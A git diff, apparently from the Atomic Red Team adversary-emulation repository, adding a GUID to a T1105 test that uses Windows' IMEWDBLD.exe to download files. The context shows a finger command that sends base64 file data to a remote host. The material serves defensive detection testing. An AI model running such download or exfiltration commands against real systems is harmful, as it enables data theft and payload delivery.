diff --git a/atomics/T1105/T1105.yaml b/atomics/T1105/T1105.yaml index 8652af08..ed2ee5d4 100644 --- a/atomics/T1105/T1105.yaml +++ b/atomics/T1105/T1105.yaml @@ -415,6 +415,7 @@ atomic_tests: command: | finger base64_filedata@#{remote_host} - name: Download a file with IMEWDBLD.exe + auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2 description: | Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/[1]." or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/[1].. diff --git a/atomics/used_guids.txt b/atomics/used_guids.txt index b8adb933..500b1655 100644 --- a/atomics/used_guids.txt +++ b/atomics/used_guids.txt @@ -786,3 +786,4 @@ f974894c-5991-4b19-aaf5-7cc2fe298c5d 58ed10e8-0738-4651-8408-3a3e9a526279 4a18cc4e-416f-4966-9a9d-75731c4684c0 b16a03bc-1089-4dcc-ad98-30fe8f3a2b31 +1a02df58-09af-4064-a765-0babe1a0d1e2